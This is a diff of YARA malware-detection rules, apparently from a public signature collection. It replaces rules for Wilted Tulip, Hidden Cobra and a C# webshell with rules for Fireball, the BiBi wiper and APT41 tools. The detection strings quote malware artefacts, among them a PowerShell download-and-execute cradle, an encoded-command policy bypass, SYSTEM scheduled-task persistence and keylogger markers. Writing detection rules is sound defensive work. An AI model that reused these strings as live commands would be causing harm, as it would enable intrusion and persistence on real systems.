+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wiltedtulip_Reflectiveloader : FILE
+rule SIGNATURE_BASE_Chrome_Elf : FILE
 {
 	meta:
-		description = "Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip"
+		description = "Detects Fireball malware - file chrome_elf.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0c7dfb44-8acb-5f36-9683-745560f1f795"
-		date = "2017-07-23"
+		id = "8680d5b5-e26f-5a3f-aeab-b965afe91027"
+		date = "2017-06-02"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L244-L268"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9488d2e97d0ea031a138e72964a3b56781f9d05c1676ff0b360407db944e26de"
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L72-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "89f0ab16f164222ecf2a4b14bee02d0c24517d03d1c12b25f5158eebc31b3e3d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904"
-		hash2 = "1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a"
-		hash3 = "a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f"
-		hash4 = "cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0"
-		hash5 = "eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89"
+		hash1 = "e4d4f6fbfbbbf3904ca45d296dc565138a17484c54aebbb00ba9d57f80dfe7e5"
 
 	strings:
-		$x1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
-		$x2 = "%d is an x86 process (can't inject x64 content)" fullword ascii
-		$x3 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
-		$x4 = "Failed to impersonate token from %d (%u)" fullword ascii
-		$x5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
-		$x6 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
+		$x2 = "schtasks /Create /SC HOURLY /MO %d /ST 00:%02d:00 /TN \"%s\" /TR \"%s\" /RU \"SYSTEM\"" fullword wide
+		$s6 = "aHR0cDovL2R2Mm0xdXVtbnNndHUuY2xvdWRmcm9udC5uZXQvdjQvZ3RnLyVzP2FjdGlvbj12aXNpdC5jaGVsZi5pbnN0YWxs" fullword ascii
+		$s7 = "QueryInterface call failed for IExecAction: %x" fullword ascii
+		$s10 = "%s %s,Rundll32_Do %s" fullword wide
+		$s13 = "Failed to create an instance of ITaskService: %x" fullword ascii
+		$s16 = "Rundll32_Do" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 1 of them ) or (2 of them ) or pe.exports("_ReflectiveLoader@4")
+		( uint16(0)==0x5a4d and filesize <600KB and 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wiltedtulip_Matryoshka_RAT : FILE
+rule SIGNATURE_BASE_Fireball_Regkey : FILE
 {
 	meta:
-		description = "Detects Matryoshka RAT used in Operation Wilted Tulip"
+		description = "Detects Fireball malware - file regkey.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e851e212-bb71-55c9-9bc1-0041bb04bef5"
-		date = "2017-07-23"
-		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L270-L289"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9e878d9e3dc3f2050e52a046038f4f855b5b777948d928e0bc6d7a98fc0a7119"
+		id = "6e22bb93-8c8b-510f-a9e4-6e57c392c2ae"
+		date = "2017-06-02"
+		modified = "2022-12-21"
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L92-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f8fe8b1edb009ac84acf6159feada91d364507c53a9f92abd6b245b38fa058f5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6f208473df0d31987a4999eeea04d24b069fdb6a8245150aa91dfdc063cd64ab"
-		hash2 = "6cc1f4ecd28b833c978c8e21a20a002459b4a6c21a4fbaad637111aa9d5b1a32"
+		hash1 = "fff2818caa9040486a634896f329b8aebaec9121bdf9982841f0646763a1686b"
 
 	strings:
-		$s1 = "%S:\\Users\\public" fullword wide
-		$s2 = "ntuser.dat.swp" fullword wide
-		$s3 = "Job Save / Load Config" fullword wide
-		$s4 = ".?AVPSCL_CLASS_JOB_SAVE_CONFIG@@" fullword ascii
-		$s5 = "winupdate64.com" fullword ascii
-		$s6 = "Job Save KeyLogger" fullword wide
+		$s1 = "\\WinMain\\Release\\WinMain.pdb" ascii
+		$s2 = "ScreenShot" fullword wide
+		$s3 = "WINMAIN" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 3 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hiddencobra_Rule_1
+rule SIGNATURE_BASE_Fireball_Winsap : FILE
 {
 	meta:
-		description = "Detects Hidden Cobra Malware"
-		author = "US CERT"
-		id = "921c027e-fac3-5419-b0a6-5043f5cde466"
-		date = "2017-06-13"
+		description = "Detects Fireball malware - file winsap.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e68e7738-f325-5b73-9e61-4e2413b7b7be"
+		date = "2017-06-02"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hidden_cobra.yar#L11-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e8bb844d72b7d7564caec0d0842889000c77611eeb24ac5c5cb35072a92c9d10"
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L110-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "de722d90d82f82faa5dfe5991c846e5c16deb919ae653b8f9fe4d1ad0384c41d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c7244d139ef9ea431a5b9cc6a2176a6a9908710892c74e215431b99cd5228359"
 
 	strings:
-		$rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94
-            A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77
-            48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39
-            73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2
-            AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED
-            39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68
-            3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13
-            B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}
+		$s1 = "aHR0cDovL2" ascii
+		$s2 = "%s\\svchost.exe -k %s" fullword wide
+		$s3 = "\\SETUP.dll" wide
+		$s4 = "WinSAP.dll" fullword ascii
+		$s5 = "Error %u in WinHttpQueryDataAvailable." fullword ascii
+		$s6 = "UPDATE OVERWRITE" fullword wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <600KB and 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Hiddencobra_Rule_3
+rule SIGNATURE_BASE_Fireball_Archer : FILE
 {
 	meta:
-		description = "Detects Hidden Cobra Malware"
-		author = "US CERT"
-		id = "39c7e039-4b07-575d-a93a-539ecc4e63d8"
-		date = "2017-06-13"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hidden_cobra.yar#L52-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6c0e385e46fe9d6cde7d2bc8ef059cfd8c33ef5b17e9fcd7cea97863fb8d2c24"
+		description = "Detects Fireball malware - file archer.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "16bb95c1-af69-5688-8999-f097d02d2ffc"
+		date = "2017-06-02"
+		modified = "2022-12-21"
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L130-L149"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f566ba477ccf1325914b6c9785e2b85f732b211e9321eea24d6c5a0339ccc4d1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022"
 
 	strings:
-		$randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7
-         44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41
-         00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0
-         6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24
-         48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89
-         44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24
-         18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89
-         44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00
-         66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B
-         6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05
-         83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00
-         00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B
-         FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2
-         49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33
-         C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83
-         E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00
-         8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1
-         C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8
-         ?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4
-         48 C3 }
+		$x1 = "\\archer_lyl\\Release\\Archer_Input.pdb" ascii
+		$s1 = "Archer_Input.dll" fullword ascii
+		$s2 = "InstallArcherSvc" fullword ascii
+		$s3 = "%s_%08X" fullword wide
+		$s4 = "d\\\\.\\PhysicalDrive%d" fullword wide
 
 	condition:
-		$randomUrlBuilder
+		uint16(0)==0x5a4d and filesize <400KB and ($x1 or 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Hiddencobra_Ghostsecret_1 : FILE
+rule SIGNATURE_BASE_Clearlog : FILE
 {
 	meta:
-		description = "Detects Hidden Cobra Sample"
+		description = "Detects Fireball malware - file clearlog.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d6955294-84a4-5694-87c9-b5b1c39e0fae"
-		date = "2018-08-11"
+		id = "3eb58a7a-b04d-52c2-8c3c-c149da8d4aa8"
+		date = "2017-06-02"
 		modified = "2023-12-05"
-		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hidden_cobra.yar#L87-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b1e72ca66520152b444cc415bdf54921ebba9671519d3b0327316cee2bf0ba1d"
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L151-L171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b6fd74ad184cafa7885385f808034e9211ff37e04ed5e8ea4af2c7fb7d697bd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "05a567fe3f7c22a0ef78cc39dcf2d9ff283580c82bdbe880af9549e7014becfc"
+		hash1 = "14093ce6d0fe8ab60963771f48937c669103842a0400b8d97f829b33c420f7e3"
 
 	strings:
-		$s1 = "%s\\%s.dll" fullword wide
-		$s2 = "PROXY_SVC_DLL.dll" fullword ascii
+		$x1 = "\\ClearLog\\Release\\logC.pdb" ascii
+		$s1 = "C:\\Windows\\System32\\cmd.exe /c \"\"" fullword wide
+		$s2 = "logC.dll" fullword ascii
+		$s3 = "hhhhh.exe" fullword wide
+		$s4 = "ttttt.exe" fullword wide
+		$s5 = "Logger Name:" fullword ascii
+		$s6 = "cle.log.1" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		( uint16(0)==0x5a4d and filesize <500KB and $x1 or 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Hiddencobra_Ghostsecret_2 : FILE
+rule SIGNATURE_BASE_Fireball_Gubed : FILE
 {
 	meta:
-		description = "Detects Hidden Cobra Sample"
+		description = "Detects Fireball malware - file gubed.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dab5b0ec-ae89-521e-bbb9-15602db9ed6c"
-		date = "2018-08-11"
-		modified = "2023-12-05"
-		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hidden_cobra.yar#L103-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "878711f5e1a8a3cfefdaf13fc08a4778fba9d2f729248784cf72b610c8bc5e17"
+		id = "cba2913f-4d9a-5925-ad9a-f5815a635291"
+		date = "2017-06-02"
+		modified = "2022-12-21"
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L173-L191"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e8053d8a95d41d81940bbaf7945323849613dbcfe727559a07bc294bd834b65f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "45e68dce0f75353c448865b9abafbef5d4ed6492cd7058f65bf6aac182a9176a"
+		hash1 = "e3f69a1fb6fcaf9fd93386b6ba1d86731cd9e5648f7cff5242763188129cd158"
 
 	strings:
-		$s1 = "ping 127.0.0.1 -n 3" fullword wide
-		$s2 = "Process32" fullword ascii
-		$s11 = "%2d%2d%2d%2d%2d%2d" fullword ascii
-		$s12 = "del /a \"" fullword wide
+		$x1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MRT.exe" fullword wide
+		$x2 = "tIphlpapi.dll" fullword wide
+		$x3 = "http://%s/provide?clients=%s&reqs=visit.startload" fullword wide
+		$x4 = "\\Gubed\\Release\\Gubed.pdb" ascii
+		$x5 = "d2hrpnfyb3wv3k.cloudfront.net" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_HOPLIGHT_NK_Hiddencobra_Apr19_1 : FILE
+rule SIGNATURE_BASE_MAL_WIPER_Bibi_Oct23 : FILE
 {
 	meta:
-		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "923a0812-f375-5c0c-a22c-fc71ddcad4e3"
-		date = "2019-04-13"
+		description = "Detects BiBi wiper samples for Windows and Linux"
+		author = "Florian Roth"
+		id = "e1ea8016-e074-5208-8c98-54922bbcc407"
+		date = "2023-11-01"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hidden_cobra.yar#L124-L137"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6cd036129ea54f4e3a2c52bf9ebd04e2d368e737cf83ca34a8feb79ea477a3af"
+		reference = "https://x.com/ESETresearch/status/1719437301900595444?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_bibi_wiper_oct23.yar#L24-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c22dc994005f91f81d0e8e5f8d400b12ecd28336866bc62b8527e104f6339372"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39"
+		hash1 = "23bae09b5699c2d5c4cb1b8aa908a3af898b00f88f06e021edcb16d7d558efad"
+		hash2 = "40417e937cd244b2f928150cae6fa0eff5551fdb401ea072f6ecdda67a747e17"
 
 	strings:
-		$s1 = "www.naver.com" fullword ascii
-		$s2 = "PolarSSL Test CA0" fullword ascii
+		$s1 = "send attempt while closed" ascii fullword
+		$s2 = "[+] CPU cores: %d, Threads: %d" ascii fullword
+		$s3 = "[+] Stats: %d | %d" ascii fullword
+		$opw1 = { 33 c0 88 45 48 b8 01 00 00 00 86 45 48 45 8b f5 48 8d 3d de f5 ff ff 0f 57 c9 f3 0f 7f 4d b8 }
+		$opw2 = { 2d ce b5 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 26 b4 00 00 44 8b 05 5f b6 00 00 e8 ca 0d 00 00 }
+		$opl1 = { 4c 8d 44 24 08 48 89 f7 48 ff c2 48 83 c6 04 e8 c7 fb ff ff 41 89 c1 0f b6 42 ff 41 0f af c1 }
+		$opl2 = { e8 6f fb ff ff 49 8d 78 f8 89 c0 48 01 c2 48 89 15 09 fb 24 00 e8 5a fb ff ff 49 8d 78 fc 6b f0 06 }
 
 	condition:
-		filesize <1000KB and all of them
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and filesize <4000KB and 2 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_HOPLIGHT_NK_Hiddencobra_Apr19_2 : FILE
+rule SIGNATURE_BASE_APT_APT41_POISONPLUG_3 : FILE
 {
 	meta:
-		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
+		description = "Detects APT41 malware POISONPLUG"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9c7fd381-272a-5cfc-a7ee-7f0f9221fa04"
-		date = "2019-04-13"
+		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hidden_cobra.yar#L139-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "741d69b470ac230d502116ebd5f09bbf4bdbbbdd7e70b97a4bd5d3f2c8e148ef"
-		score = 75
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L14-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b74b89ac382b2b839c169cd1388d86888172f133091afd079ec42c9380935fdc"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3"
+		hash1 = "70c03ce5c80aca2d35a5555b0532eedede24d4cc6bdb32a2c8f7e630bba5f26e"
 
 	strings:
-		$s1 = "%SystemRoot%\\System32\\svchost.exe -k mdnetuse" fullword ascii
-		$s2 = "%s\\hid.dll" fullword ascii
-		$s3 = "%Systemroot%\\System32\\" ascii
-		$s4 = "SYSTEM\\CurrentControlSet\\services\\%s\\Parameters" fullword ascii
+		$s1 = "Rundll32.exe \"%s\", DisPlay 64" fullword ascii
+		$s2 = "tcpview.exe" fullword ascii
+		$s3 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" fullword ascii
+		$s4 = "AxEeulaVteSgeR" fullword ascii
+		$s5 = "%04d-%02d-%02d_%02d-%02d-%02d.dmp" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of them
+		uint16(0)==0x5a4d and filesize <900KB and 3 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_HOPLIGHT_NK_Hiddencobra_Apr19_3 : FILE
+rule SIGNATURE_BASE_APT_APT41_POISONPLUG_SHADOW : FILE
 {
 	meta:
-		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
+		description = "Detects APT41 malware POISONPLUG SHADOW"
 		author = "Florian Roth (Nextron Systems)"
-		id = "683b4d64-575a-5bdb-9ad8-e10a60037032"
-		date = "2019-04-13"
+		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hidden_cobra.yar#L156-L185"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5cbdf0c4c5025bc1d95d27a32fa69efb329e8f74243646a31458fea225d21875"
-		score = 75
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L33-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fc923c7e85f3870e08a077b344e575d3c349fa02f3d218a9a7ec31992f14866b"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		hash1 = "2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525"
-		hash2 = "05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461"
-		hash3 = "ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d"
-
-	strings:
-		$s1 = "Oleaut32.dll" fullword ascii
-		$s2 = "Process32NextA" fullword ascii
-		$s3 = "Process32FirstA" fullword ascii
-		$s4 = "%sRSA key size  : %d bits" fullword ascii
-		$s5 = "emailAddress=" fullword ascii
-		$s6 = "%scert. version : %d" fullword ascii
-		$s7 = "www.naver.com" fullword ascii
-		$x1 = "ztretrtireotreotieroptkierert" fullword ascii
-		$x2 = "reykfgkodfgkfdskgdfogpdokgsdfpg" fullword ascii
-		$x3 = "fjiejffndxklfsdkfjsaadiepwn" fullword ascii
-		$x4 = "fgwljusjpdjah" fullword ascii
-		$x5 = "udbcgiut.dat" fullword ascii
+		hash1 = "462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and (1 of ($x*) or 6 of ($s*))
+		uint16(0)==0x5a4d and filesize <500KB and pe.imphash()=="c67de089f2009b21715744762fc484e8"
 }
-rule SIGNATURE_BASE_WEBSHELL_Csharp_Hash_String_Oct22 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT41_CRACKSHOT : FILE
 {
 	meta:
-		description = "C# webshell using specific hash check for the password."
-		author = "Nils Kuhnert (modified by Florian Roth)"
-		id = "c7d459be-5e61-57b7-b738-051c0cec62d2"
-		date = "2022-10-27"
+		description = "Detects APT41 malware CRACKSHOT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4ec34a77-dc7f-5f27-9f0a-c98438389018"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshell_csharp.yar#L2-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "29c187ad46d3059dc25d5f0958e0e8789fb2a51b9daaf90ea27f001b1a9a603c"
-		logic_hash = "28a07f3dd17fc469388867fa82a0e21abeee9c4e114af245b684535e4e194891"
-		score = 60
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L46-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "70dd9edfc7f9ace7b00a35eb2ef664aa4fbaab8e2d268922d1593074897e769c"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "993d14d00b1463519fea78ca65d8529663f487cd76b67b3fd35440bcdf7a8e31"
 
 	strings:
-		$gen1 = "void Page_Load" ascii
-		$gen2 = "FromBase64String" ascii
-		$gen3 = "CryptoServiceProvider" ascii
-		$gen4 = "ComputeHash" ascii
-		$hashing1 = "BitConverter.ToString(" ascii
-		$hashing2 = ").Replace(\"-\", \"\") == \"" ascii
-		$filter1 = "BitConverter.ToString((" ascii
+		$x1 = ";procmon64.exe;netmon.exe;tcpview.exe;MiniSniffer.exe;smsniff.exe" ascii
+		$s1 = "RunUrlBinInMem" fullword ascii
+		$s2 = "DownRunUrlFile" fullword ascii
+		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36" fullword ascii
+		$s4 = "%s|%s|%s|%s|%s|%s|%s|%dx%d|%04x|%08X|%s|%s" fullword ascii
 
 	condition:
-		filesize <10KB and all of ($gen*) and all of ($hashing*) and not 1 of ($filter*)
